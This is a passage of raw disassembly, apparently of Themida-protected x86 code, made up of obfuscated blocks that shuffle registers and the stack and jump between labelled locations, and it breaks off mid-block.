loc_55AB78: ; CODE XREF: Themida_:0055B41Bj
add esp, 4
jmp loc_55BA2F
; ---------------------------------------------------------------------------
loc_55AB80: ; CODE XREF: Themida_:00557DB7j
add ebp, 8D805D8Bh
sub edx, ebp
pop ebp
push edx
pop ebx
jmp loc_55B9FF
; ---------------------------------------------------------------------------
loc_55AB90: ; CODE XREF: Themida_:00554AE2j
sub eax, 44A0347Ch
add eax, 21E8129Eh
jmp loc_55E05B
; ---------------------------------------------------------------------------
loc_55AB9F: ; CODE XREF: Themida_:0055B6D0j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55ABA4: ; CODE XREF: Themida_:0055B6E4j
sub esi, 0FFFFFFFFh
push ebx
mov ebx, 11A13C51h
xor esi, ebx
pop ebx
add ecx, esi
pop esi
jmp loc_55E104
; ---------------------------------------------------------------------------
loc_55ABBB: ; CODE XREF: Themida_:0055E0FFj
push 7798h
mov [esp], eax
sub esp, 4
mov [esp], edi
mov edi, 4
mov eax, edi
pop edi
sub ecx, 744C419Ch
add ecx, eax
jmp loc_5544EE
; ---------------------------------------------------------------------------
loc_55ABE1: ; CODE XREF: Themida_:0055B744j
mov [esp], edi
push ebx
jmp loc_55D73F
; ---------------------------------------------------------------------------
loc_55ABEA: ; CODE XREF: Themida_:0055474Bj
push eax
mov eax, 1
add ebp, eax
jmp loc_553FAD
; ---------------------------------------------------------------------------
loc_55ABF7: ; CODE XREF: Themida_:0055DECDj
mov ch, 7Ah
or ch, 0A8h
or ch, 5Eh
dec ch
jmp loc_55CD31
; ---------------------------------------------------------------------------
loc_55AC06: ; CODE XREF: Themida_:00552D71j
not ebp
inc ebp
add ebp, 432263CDh
mov esi, ebp
pop ebp
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
mov [esp], edx
push esp
jmp loc_55408C
; ---------------------------------------------------------------------------
loc_55AC34: ; CODE XREF: Themida_:0055C412j
pop edx
push dx
mov dl, 5
xor cl, dl
pop dx
shr cl, 3
jmp loc_555BC9
; ---------------------------------------------------------------------------
loc_55AC45: ; CODE XREF: Themida_:0055A93Ej
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
push eax
jmp loc_55AA2F
; ---------------------------------------------------------------------------
loc_55AC61: ; CODE XREF: Themida_:0055AF96j
push dword ptr [esp]
jmp loc_55FAAF
; ---------------------------------------------------------------------------
loc_55AC69: ; CODE XREF: Themida_:0055F68Fj
push ecx
add dword ptr [esp], 20514D4h
pop ebp
sub ebp, 20514D4h
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5528C7
; ---------------------------------------------------------------------------
loc_55AC8D: ; CODE XREF: Themida_:0055F6CCj
push 4233h
mov [esp], ebp
jmp loc_55CAD6
; ---------------------------------------------------------------------------
loc_55AC9A: ; CODE XREF: Themida_:00563046j
mov edx, 25592533h
sub eax, edx
jmp loc_55F71C
; ---------------------------------------------------------------------------
loc_55ACA6: ; CODE XREF: Themida_:0055E117j
mov ebp, 4AED5A48h
jmp loc_55BDBC
; ---------------------------------------------------------------------------
loc_55ACB0: ; CODE XREF: Themida_:005575F0j
pop ebx
xor ah, dh
mov dx, [esp]
add esp, 2
add bl, ah
pop eax
sub al, bl
mov ebx, [esp]
jmp loc_55C90A
; ---------------------------------------------------------------------------
loc_55ACC7: ; CODE XREF: Themida_:0055DA09j
add edi, 4
add edi, 4
jmp loc_552ECA
; ---------------------------------------------------------------------------
loc_55ACD5: ; CODE XREF: Themida_:0055B09Ej
neg edx
jmp loc_557048
; ---------------------------------------------------------------------------
loc_55ACDC: ; CODE XREF: Themida_:005572D3j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55ACE1: ; CODE XREF: Themida_:0055D514j
xor esi, edi
mov edi, [esp]
add esp, 4
add ecx, esi
pop esi
jmp loc_55BE38
; ---------------------------------------------------------------------------
loc_55ACF1: ; CODE XREF: Themida_:0055CA23j
push ecx
mov ecx, 18CE0ED3h
and ebp, ecx
pop ecx
push edi
mov edi, 58AA590Ch
jmp loc_557E54
; ---------------------------------------------------------------------------
loc_55AD05: ; CODE XREF: Themida_:0055B602j
mov bl, 78h
shr bl, 7
jmp loc_558131
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_553BAF
; ---------------------------------------------------------------------------
loc_55AD18: ; CODE XREF: Themida_:00560504j
add esp, 4
sub al, bl
push dx
push ecx
mov cl, 26h
jmp loc_56096C
; ---------------------------------------------------------------------------
loc_55AD27: ; CODE XREF: Themida_:00551AF8j
push 3F847C4Ch
mov eax, [esp]
add esp, 4
and eax, 4D41749Dh
push edx
mov edx, 698C44D5h
shr edx, 1
xchg esi, edx
dec esi
jmp loc_561250
; ---------------------------------------------------------------------------
loc_55AD4A: ; CODE XREF: Themida_:0055EA23j
push dword ptr [esp]
jmp loc_560C65
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_5592DB
; ---------------------------------------------------------------------------
loc_55AD62: ; CODE XREF: Themida_:0055CE37j
push 540Fh
jmp loc_55DBAA
; ---------------------------------------------------------------------------
loc_55AD6C: ; CODE XREF: Themida_:0055EF0Aj
add esp, 4
pop dword ptr [esp]
mov eax, [esp]
add esp, 4
xor [esp], eax
xor eax, [esp]
xor [esp], eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55AD89: ; CODE XREF: Themida_:0055712Cj
sub eax, 5E8F7E87h
mov esi, [esp]
jmp loc_55B70A
; ---------------------------------------------------------------------------
loc_55AD96: ; CODE XREF: Themida_:00552B79j
mov [esp], edx
jmp loc_55FD9C
; ---------------------------------------------------------------------------
loc_55AD9E: ; CODE XREF: Themida_:00552438j
mov esp, [esp]
movzx eax, al
push dword ptr [edi+eax*4]
push 3406h
jmp loc_55E85F
; ---------------------------------------------------------------------------
loc_55ADB1: ; CODE XREF: Themida_:00550614j
push edx
mov dl, 58h
or dl, 2Ch
inc dl
inc dl
xor dl, 0D2h
sub al, dl
jmp loc_55ECDA
; ---------------------------------------------------------------------------
loc_55ADC5: ; CODE XREF: Themida_:0055F077j
sub eax, 72256409h
sub eax, esi
jmp loc_55E5C1
; ---------------------------------------------------------------------------
loc_55ADD1: ; CODE XREF: Themida_:005572E6j
sub ecx, 4
xchg ecx, [esp]
jmp loc_55E2CD
; ---------------------------------------------------------------------------
loc_55ADDF: ; CODE XREF: Themida_:005582C2j
mov eax, 1E9F58DDh
jmp loc_564E23
; ---------------------------------------------------------------------------
loc_55ADE9: ; CODE XREF: Themida_:005623C5j
shr edi, 2
push ebp
jmp loc_56314D
; ---------------------------------------------------------------------------
loc_55ADF2: ; CODE XREF: Themida_:00560B77j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_554BDC
; ---------------------------------------------------------------------------
loc_55AE01: ; CODE XREF: Themida_:00561CA8j
pop esp
pop edx
sub esp, 4
mov [esp], edx
jmp loc_556289
; ---------------------------------------------------------------------------
loc_55AE0E: ; CODE XREF: Themida_:00551B7Dj
neg edi
shl edi, 3
not edi
sub edi, 0FEE96AE5h
mov esi, edi
pop edi
add ebp, esi
pop esi
push 4E92h
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_556F63
; ---------------------------------------------------------------------------
loc_55AE32: ; CODE XREF: Themida_:0055E1ADj
or ecx, esi
pop esi
add ecx, 3A74181Eh
xor ecx, 5F6FC78Eh
xor edi, ecx
jmp loc_55A7E0
; ---------------------------------------------------------------------------
loc_55AE48: ; CODE XREF: Themida_:0056007Bj
add esp, 4
pop ebx
add eax, ebx
jmp loc_5655CC
; ---------------------------------------------------------------------------
loc_55AE56: ; CODE XREF: Themida_:0056016Cj
shr ebp, 6
jmp loc_5573FA
; ---------------------------------------------------------------------------
loc_55AE5E: ; CODE XREF: Themida_:00561FC8j
pop eax
pop ebp
jmp loc_55713E
; ---------------------------------------------------------------------------
loc_55AE65: ; CODE XREF: Themida_:0055407Fj
add esp, 4
pop ebx
mov eax, [esp]
add esp, 4
sub al, 7Ah
add al, dl
push small 1F23h
mov [esp], dx
mov dl, 7Ah
add al, dl
mov dx, [esp]
add esp, 2
mov dx, [esp]
push ebx
push esp
jmp loc_56292A
; ---------------------------------------------------------------------------
loc_55AE97: ; CODE XREF: Themida_:005545EBj
add cl, 16h
xor bh, cl
mov ecx, [esp]
add esp, 4
jmp loc_558ED4
; ---------------------------------------------------------------------------
loc_55AEAA: ; CODE XREF: Themida_:005615D3j
mov edi, [esp]
add esp, 4
sub ecx, 5B0C566Ch
jmp loc_558634
; ---------------------------------------------------------------------------
loc_55AEBB: ; CODE XREF: Themida_:005513B3j
pop esi
jmp loc_55890E
; ---------------------------------------------------------------------------
loc_55AEC1: ; CODE XREF: Themida_:00555EAEj
mov edi, edx
jmp loc_55C91E
; ---------------------------------------------------------------------------
loc_55AEC8: ; CODE XREF: Themida_:00560D8Bj
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_55C392
; ---------------------------------------------------------------------------
loc_55AEDA: ; CODE XREF: Themida_:005617B3j
mov [esp], esi
jmp loc_552EDF
; ---------------------------------------------------------------------------
loc_55AEE2: ; CODE XREF: Themida_:0055EFEBj
sub al, 5Fh
sub al, dl
add al, 5Fh
add al, 6Bh
pop edx
sub al, 0DFh
jmp loc_55CDF2
; ---------------------------------------------------------------------------
loc_55AEF2: ; CODE XREF: Themida_:00552DF8j
add esp, 4
jmp loc_556165
; ---------------------------------------------------------------------------
loc_55AEFD: ; CODE XREF: Themida_:00552F58j
mov eax, 6DC3602Fh
xor edi, eax
pop eax
shr edi, 5
inc edi
shl edi, 4
jmp loc_562B50
; ---------------------------------------------------------------------------
loc_55AF11: ; CODE XREF: Themida_:00562949j
push esi
jmp loc_556A60
; ---------------------------------------------------------------------------
loc_55AF17: ; CODE XREF: Themida_:0055111Bj
mov esi, esp
add esi, 4
jmp loc_564C22
; ---------------------------------------------------------------------------
loc_55AF24: ; CODE XREF: Themida_:0055A399j
xor ecx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_55B5D8
; ---------------------------------------------------------------------------
loc_55AF32: ; CODE XREF: Themida_:00551276j
push eax
mov eax, 2D631371h
sub esp, 4
mov [esp], eax
sub dword ptr [esp], 45EB73F5h
pop esi
jmp loc_55757F
; ---------------------------------------------------------------------------
loc_55AF4B: ; CODE XREF: Themida_:0055D3C0j
mov ebp, 21BA55E2h
push edx
push edi
mov edi, 121168C0h
jmp loc_5531F8
; ---------------------------------------------------------------------------
loc_55AF5C: ; CODE XREF: Themida_:0055090Fj
xor ch, 0DDh
sub bl, ch
mov ecx, [esp]
jmp loc_555D36
; ---------------------------------------------------------------------------
loc_55AF69: ; CODE XREF: Themida_:00551974j
push 1970h
jmp loc_55A54D
; ---------------------------------------------------------------------------
loc_55AF73: ; CODE XREF: Themida_:0055F878j
add ecx, esi
pop esi
xchg ecx, [esp]
pop esp
push 3288h
mov [esp], ebx
push 4871h
mov [esp], eax
push 4
pop eax
sub esp, 4
mov [esp], eax
jmp loc_55AC61
; ---------------------------------------------------------------------------
loc_55AF9B: ; CODE XREF: Themida_:00555DC4j
push esi
mov esi, 4
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_56088D
; ---------------------------------------------------------------------------
loc_55AFB0: ; CODE XREF: Themida_:0055FBD2j
dec edx
jmp loc_55E4D5
; ---------------------------------------------------------------------------
loc_55AFB6: ; CODE XREF: Themida_:0055135Bj
dec ebp
shr ebp, 1
sub esp, 4
mov [esp], edx
mov edx, 2409274Dh
jmp loc_550D6A
; ---------------------------------------------------------------------------
loc_55AFCC: ; CODE XREF: Themida_:00562085j
mov ecx, 34D0478Bh
push edx
jmp loc_5611FA
; ---------------------------------------------------------------------------
loc_55AFD7: ; CODE XREF: Themida_:005618D1j
or esi, 73990651h
add esi, 42C04B6Bh
add esi, 5C65505Eh
sub esi, 0A4B19B17h
add ebx, 121A2BB5h
add ebx, esi
sub ebx, 121A2BB5h
mov esi, [esp]
push esi
jmp loc_55271E
; ---------------------------------------------------------------------------
loc_55B006: ; CODE XREF: Themida_:005518A3j
dec edx
jmp loc_565A0C
; ---------------------------------------------------------------------------
loc_55B00C: ; CODE XREF: Themida_:0055A749j
add bh, ah
sub bh, 33h
push edx
mov dh, 7Eh
jmp loc_554F0F
; ---------------------------------------------------------------------------
loc_55B019: ; CODE XREF: Themida_:00553F8Cj
xor [esp], esi
xor esi, [esp]
jmp loc_5542B4
; ---------------------------------------------------------------------------
loc_55B024: ; CODE XREF: Themida_:00560E7Fj
push ecx
add dword ptr [esp], 0FFFFFFFFh
mov ecx, [esp]
jmp loc_556DCC
; ---------------------------------------------------------------------------
loc_55B034: ; CODE XREF: Themida_:00559D97j
sub ebp, edi
pop edi
add ecx, 4B27253Bh
add ecx, ebp
sub ecx, 4B27253Bh
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
add ecx, eax
jmp loc_553BB9
; ---------------------------------------------------------------------------
loc_55B05B: ; CODE XREF: Themida_:005622A7j
push 345Fh
mov [esp], ecx
push edx
pop ecx
pop edx
xchg eax, edx
jmp loc_565B1B
; ---------------------------------------------------------------------------
loc_55B06C: ; CODE XREF: Themida_:00563E67j
add ebp, 4C487B73h
jmp loc_55E545
; ---------------------------------------------------------------------------
loc_55B077: ; CODE XREF: Themida_:005643BFj
pop ecx
add esp, 4
and eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_5633FB
; ---------------------------------------------------------------------------
loc_55B086: ; CODE XREF: Themida_:00560731j
push edx
jmp loc_555E6A
; ---------------------------------------------------------------------------
loc_55B08C: ; CODE XREF: Themida_:005522FAj
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop ebp
push edx
mov edx, 6BC45E19h
jmp loc_55ACD5
; ---------------------------------------------------------------------------
loc_55B0A3: ; CODE XREF: Themida_:00556D84j
mov ecx, 40655A4Eh
sub edi, 647A53E3h
jmp loc_55C060
; ---------------------------------------------------------------------------
loc_55B0B3: ; CODE XREF: Themida_:00551143j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push 3144h
mov [esp], ecx
mov ecx, 1
jmp loc_5510AE
; ---------------------------------------------------------------------------
loc_55B0DC: ; CODE XREF: Themida_:0055AB3Cj
shl ebx, 6
and ebx, 613B04A0h
xor ebx, 40330004h
jmp loc_554B35
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ecx
mov ecx, 1160234Ch
push ecx
mov ecx, 1160234Ch
jmp loc_554B97
; ---------------------------------------------------------------------------
loc_55B109: ; CODE XREF: Themida_:005622EFj
push 7E6Eh
mov [esp], eax
mov al, 6Eh
add ch, al
pop eax
jmp loc_55C5DF
; ---------------------------------------------------------------------------
loc_55B11B: ; CODE XREF: Themida_:0055B84Bj
pop esi
jmp loc_559231
; ---------------------------------------------------------------------------
loc_55B121: ; CODE XREF: Themida_:00555CEFj
mov edx, [esp]
add esp, 4
and ecx, esi
pop esi
add ecx, 0FFC00004h
jmp loc_55EAD9
; ---------------------------------------------------------------------------
loc_55B138: ; CODE XREF: Themida_:0055A40Cj
push edi
push dword ptr [esp+4]
jmp loc_5525A9
; ---------------------------------------------------------------------------
loc_55B142: ; CODE XREF: Themida_:00563EEAj
sub eax, esi
sub esp, 4
mov [esp], edi
jmp loc_557B27
; ---------------------------------------------------------------------------
loc_55B14F: ; CODE XREF: Themida_:00558F78j
mov ecx, esp
add ecx, 4
jmp loc_55BD2E
; ---------------------------------------------------------------------------
loc_55B15C: ; CODE XREF: Themida_:00562090j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55B161: ; CODE XREF: Themida_:005648E4j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push eax
push esi
push 59E52748h
jmp loc_563869
; ---------------------------------------------------------------------------
loc_55B179: ; CODE XREF: Themida_:00563010j
mov [esp], eax
jmp loc_56252F
; ---------------------------------------------------------------------------
loc_55B181: ; CODE XREF: Themida_:0055E2B1j
mov dl, 5Eh
jmp loc_562348
; ---------------------------------------------------------------------------
loc_55B188: ; CODE XREF: Themida_:0055F1C4j
not dword ptr [esp]
mov ebp, [esp]
push edx
push esp
pop edx
jmp loc_55A129
; ---------------------------------------------------------------------------
loc_55B196: ; CODE XREF: Themida_:00560460j
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ecx
jmp loc_5638EA
; ---------------------------------------------------------------------------
loc_55B1A3: ; CODE XREF: Themida_:00565B92j
push 5819h
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_551F2D
; ---------------------------------------------------------------------------
loc_55B1B5: ; CODE XREF: Themida_:005587F0j
push 6AB3h
mov [esp], eax
push esp
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, 208E670Bh
push esi
push edi
mov edi, 7842BCFh
shl edi, 6
sub edi, 4AE04A72h
and edi, 4D470879h
not edi
and edi, 524077E1h
add edi, 286FF3Ah
mov esi, edi
pop edi
add esi, 2BE15138h
jmp loc_55882A
; ---------------------------------------------------------------------------
loc_55B200: ; CODE XREF: Themida_:0056119Dj
pop esp
jmp loc_563144
; ---------------------------------------------------------------------------
loc_55B206: ; CODE XREF: Themida_:00554D89j
pop ebp
xor edx, 749BA004h
or esi, edx
mov edx, [esp]
jmp loc_55F694
; ---------------------------------------------------------------------------
loc_55B217: ; CODE XREF: Themida_:00559403j
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_556063
; ---------------------------------------------------------------------------
loc_55B228: ; CODE XREF: Themida_:0055DDB1j
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 16511949h
or ebp, 1DEC24D6h
xor ebp, 1FFD3DDBh
add esi, ebp
pop ebp
push esi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_5652FC
; ---------------------------------------------------------------------------
loc_55B253: ; CODE XREF: Themida_:0055F540j
mov edx, 510E5D6Dh
sub ebx, edx
jmp loc_55A69E
; ---------------------------------------------------------------------------
loc_55B25F: ; CODE XREF: Themida_:00553886j
mov ch, 7Eh
push edx
mov dh, 6Eh
not dh
dec dh
not dh
jmp loc_5564E8
; ---------------------------------------------------------------------------
loc_55B26F: ; CODE XREF: Themida_:0055F826j
and esi, 81D5109h
xor esi, 90E4C26Dh
mov edi, esi
pop esi
jmp loc_559296
; ---------------------------------------------------------------------------
loc_55B283: ; CODE XREF: Themida_:00551D64j
shr ebp, 8
jmp loc_5635FD
; ---------------------------------------------------------------------------
loc_55B28B: ; CODE XREF: Themida_:0056206Bj
pop small word ptr [esp]
push small 4B5Ch
mov [esp], di
jmp loc_5576DC
; ---------------------------------------------------------------------------
loc_55B29C: ; CODE XREF: Themida_:00564E3Bj
pop edi
add esi, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_5535D2
; ---------------------------------------------------------------------------
loc_55B2C6: ; CODE XREF: Themida_:00558845j
add esp, 4
push ecx
jmp loc_55E53B
; ---------------------------------------------------------------------------
loc_55B2D2: ; CODE XREF: Themida_:0055F193j
sub edx, ebp
pop ebp
mov edi, edx
pop edx
shr edi, 3
and edi, 1CF7E74h
or edi, 65F94E64h
not edi
push 46B9h
mov [esp], ebp
mov ebp, 9A009197h
sub edi, ebp
pop ebp
add ebx, edi
pop edi
sub ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_560A8A
; ---------------------------------------------------------------------------
loc_55B30C: ; CODE XREF: Themida_:00555037j
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
jmp loc_561924
; ---------------------------------------------------------------------------
loc_55B31A: ; CODE XREF: Themida_:00560DECj
pop esp
jmp loc_556EC3
; ---------------------------------------------------------------------------
loc_55B320: ; CODE XREF: Themida_:0055D434j
pop esp
push dword ptr [edi+eax*4]
jmp loc_5535F6
; ---------------------------------------------------------------------------
loc_55B329: ; CODE XREF: Themida_:0056426Fj
push esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5511D9
; ---------------------------------------------------------------------------
loc_55B33E: ; CODE XREF: Themida_:0055EACEj
xchg ebx, [esp]
pop esp
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
push 6808h
jmp loc_55811D
; ---------------------------------------------------------------------------
loc_55B35D: ; CODE XREF: Themida_:005638E5j
mov esi, 4100215Bh
shr esi, 2
jmp loc_56036A
; ---------------------------------------------------------------------------
loc_55B36A: ; CODE XREF: Themida_:0055F5C7j
mov [esp], ecx
jmp loc_55A329
; ---------------------------------------------------------------------------
loc_55B372: ; CODE XREF: Themida_:0055C509j
pop edx
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
add eax, 4
xchg eax, [esp]
mov esp, [esp]
shr eax, 12h
xor eax, ecx
push 5B7Ch
mov [esp], eax
push edi
push dword ptr [esp+4]
jmp loc_562240
; ---------------------------------------------------------------------------
loc_55B39E: ; CODE XREF: Themida_:00561F58j
dec esi
push 51Ah
mov [esp], edi
mov edi, 7EE0FE1Ah
sub esi, edi
pop edi
jmp loc_560694
; ---------------------------------------------------------------------------
loc_55B3B4: ; CODE XREF: Themida_:0056507Cj
add esp, 4
add al, ch
mov ecx, [esp]
add esp, 4
push ecx
mov ch, 7Ch
sub bl, 0Bh
add bl, ch
jmp loc_55F710
; ---------------------------------------------------------------------------
loc_55B3CF: ; CODE XREF: Themida_:00551E91j
xor edx, 44094B8Ch
add ebp, 2E1B1BA9h
sub ebp, 739A7BFDh
add ebp, edx
add ebp, 739A7BFDh
jmp loc_55687F
; ---------------------------------------------------------------------------
loc_55B3EE: ; CODE XREF: Themida_:00555CBCj
push ebp
mov ebp, 27FF3C35h
push eax
mov eax, 77080778h
sub eax, 194C187Fh
neg eax
and eax, 61961059h
xor eax, 4F7869F3h
sub eax, 29AF776Dh
push esi
mov esi, 0F1623966h
add eax, esi
mov esi, [esp]
jmp loc_55AB78
; ---------------------------------------------------------------------------
loc_55B420: ; CODE XREF: Themida_:0055D9E3j
add ebp, 1DAE0D68h
add ebp, ecx
sub ebp, 1DAE0D68h
push dword ptr [esp]
jmp loc_556BA2
; ---------------------------------------------------------------------------
loc_55B436: ; CODE XREF: Themida_:0055779Cj
xchg edi, esi
neg edi
xchg edi, esi
push edx
push ebp
mov ebp, 64D855BBh
mov edx, ebp
pop ebp
xor esi, edx
jmp loc_5629D7
; ---------------------------------------------------------------------------
loc_55B44D: ; CODE XREF: Themida_:00550851j
pop esp
mov [esp], edi
mov edi, 1BB001F5h
sub edi, 45190153h
inc edi
sub edi, 0B0AD9CA9h
add edx, 19A375FDh
add edx, edi
jmp loc_5557F0
; ---------------------------------------------------------------------------
loc_55B470: ; CODE XREF: Themida_:005593D4j
mov esp, [esp]
sub esp, 4
mov [esp], edx
mov dh, 18h
xor dh, 8Bh
add al, dh
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_55751F
; ---------------------------------------------------------------------------
loc_55B48E: ; CODE XREF: Themida_:0055BAC0j
push cx
push edx
push ecx
jmp loc_555B1A
; ---------------------------------------------------------------------------
loc_55B497: ; CODE XREF: Themida_:005597C7j
push ecx
mov ecx, 189E7290h
not ecx
add ecx, 1
not ecx
push edx
mov edx, 6127008Fh
xchg ebp, edx
not ebp
xchg ebp, edx
sub edx, 643BED62h
and ecx, edx
pop edx
jmp loc_558735
; ---------------------------------------------------------------------------
loc_55B4BE: ; CODE XREF: Themida_:00556BBFj
shr al, 2
shr al, 6
xchg dl, al
neg dl
xchg dl, al
sub al, 65h
add bl, al
pop eax
sub bl, al
sub bl, 9Bh
push 7D13h
mov [esp], eax
mov al, 0F7h
jmp loc_562DF5
; ---------------------------------------------------------------------------
loc_55B4E3: ; CODE XREF: Themida_:00559062j
pop edx
add ebp, 1B9B5028h
add ebp, eax
sub esp, 4
jmp loc_55E185
; ---------------------------------------------------------------------------
loc_55B4F4: ; CODE XREF: Themida_:0055776Fj
mov [esp], ecx
mov ecx, 460A6C1Fh
add eax, 72BA4932h
add eax, ecx
sub eax, 72BA4932h
pop ecx
sub eax, 69DD45E4h
push dword ptr [eax]
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55F865
; ---------------------------------------------------------------------------
loc_55B527: ; CODE XREF: Themida_:00550DADj
pop dword ptr [esp]
pop esp
mov [esp], esp
jmp loc_55D5B0
; ---------------------------------------------------------------------------
loc_55B533: ; CODE XREF: Themida_:00561DB5j
or ebx, 0B253713h
jmp loc_55DC36
; ---------------------------------------------------------------------------
loc_55B53E: ; CODE XREF: Themida_:005600B8j
mov esp, [esp]
jmp loc_55CB36
; ---------------------------------------------------------------------------
loc_55B546: ; CODE XREF: Themida_:005594DCj
mov [esp], ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_552014
; ---------------------------------------------------------------------------
loc_55B565: ; CODE XREF: Themida_:0055FD40j
add esp, 4
push eax
push ecx
push 8E6300h
pop ecx
xor ecx, 51ED6C86h
jmp loc_56128F
; ---------------------------------------------------------------------------
loc_55B57B: ; CODE XREF: Themida_:005606ADj
push dword ptr [esp]
pop eax
jmp loc_55FC54
; ---------------------------------------------------------------------------
loc_55B584: ; CODE XREF: Themida_:00550E24j
sub edi, 0F914EC48h
add esi, edi
pop edi
mov edi, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
push ebp
push 3800h
mov [esp], edx
push 26A9h
mov [esp], eax
jmp loc_553F3F
; ---------------------------------------------------------------------------
loc_55B5B2: ; CODE XREF: Themida_:0056281Fj
mov edx, ecx
pop ecx
and eax, edx
push dword ptr [esp]
jmp loc_561D77
; ---------------------------------------------------------------------------
loc_55B5BF: ; CODE XREF: Themida_:0055E25Aj
mov [esp], ebp
jmp loc_558A08
; ---------------------------------------------------------------------------
loc_55B5C7: ; CODE XREF: Themida_:005534CCj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_56503D
; ---------------------------------------------------------------------------
loc_55B5D8: ; CODE XREF: Themida_:0055AF2Dj
xchg ebp, [esp]
push ebp
push ebx
mov ebp, [esp]
add esp, 4
pop ebx
push ebx
jmp loc_5566FB
; ---------------------------------------------------------------------------
loc_55B5ED: ; CODE XREF: Themida_:0055A412j
pop ebx
add ebx, 4
add ebx, 2
xchg ebx, [esp]
pop esp
push ecx
mov ch, 94h
or ch, 0EFh
push ebx
jmp loc_55AD05
; ---------------------------------------------------------------------------
loc_55B607: ; CODE XREF: Themida_:0055E056j
pop ecx
push ebp
mov ebp, 24400B44h
jmp loc_55AA85
; ---------------------------------------------------------------------------
loc_55B613: ; CODE XREF: Themida_:00554133j
xor eax, esi
jmp loc_564227
; ---------------------------------------------------------------------------
loc_55B61A: ; CODE XREF: Themida_:00563025j
push esi
mov esi, esp
push edx
mov edx, 0B53003Eh
or edx, 423108BFh
push edi
jmp loc_554DEA
; ---------------------------------------------------------------------------
loc_55B62F: ; CODE XREF: Themida_:00560602j
mov esp, [esp]
push eax
jmp loc_562BCC
; ---------------------------------------------------------------------------
loc_55B638: ; CODE XREF: Themida_:00562685j
mov edx, 6D437309h
add dword ptr [esp+4], 584D1721h
sub [esp+4], edx
sub dword ptr [esp+4], 584D1721h
jmp loc_55C86D
; ---------------------------------------------------------------------------
loc_55B656: ; CODE XREF: Themida_:00552107j
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5513E8
; ---------------------------------------------------------------------------
loc_55B66D: ; CODE XREF: Themida_:0055DDD0j
xchg eax, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55B67A: ; CODE XREF: Themida_:00555C68j
xor edi, esi
pop esi
sub esi, 316A5428h
push edi
mov edi, 35D0443h
add esi, edi
pop edi
add esi, edi
push 1692h
jmp loc_5587A3
; ---------------------------------------------------------------------------
loc_55B698: ; CODE XREF: Themida_:0055EAA1j
push eax
mov eax, 67D26EE8h
neg eax
not eax
shl eax, 4
sub eax, 787E1E97h
sub eax, 0B393AA54h
jmp loc_557B82
; ---------------------------------------------------------------------------
loc_55B6B4: ; CODE XREF: Themida_:00555AD3j
sub edx, 0B38CEE10h
sub ebx, 5045723Dh
add ebx, edx
add ebx, 5045723Dh
pop edx
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_55AB9F
; ---------------------------------------------------------------------------
loc_55B6D5: ; CODE XREF: Themida_:00550D89j
push ecx
mov ecx, esp
push esi
mov esi, 23DE41C7h
xor esi, 327F7D93h
jmp loc_55ABA4
; ---------------------------------------------------------------------------
loc_55B6E9: ; CODE XREF: Themida_:005585B1j
push edi
jmp loc_55154E
; ---------------------------------------------------------------------------
loc_55B6EF: ; CODE XREF: Themida_:0055C73Fj
mov dh, cl
pop ecx
sub dh, 8Dh
push eax
mov al, 0C7h
add al, 0D8h
jmp loc_55BB1F
; ---------------------------------------------------------------------------
loc_55B6FF: ; CODE XREF: Themida_:0055EFF4j
sub esp, 4
mov [esp], ebx
jmp loc_56516F
; ---------------------------------------------------------------------------
loc_55B70A: ; CODE XREF: Themida_:0055AD91j
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub eax, ebx
push esi
mov esi, 170C4CE4h
jmp loc_551857
; ---------------------------------------------------------------------------
loc_55B72F: ; CODE XREF: Themida_:005524ABj
mov eax, esi
pop esi
shl eax, 3
push ebx
mov ebx, 13C7C8Fh
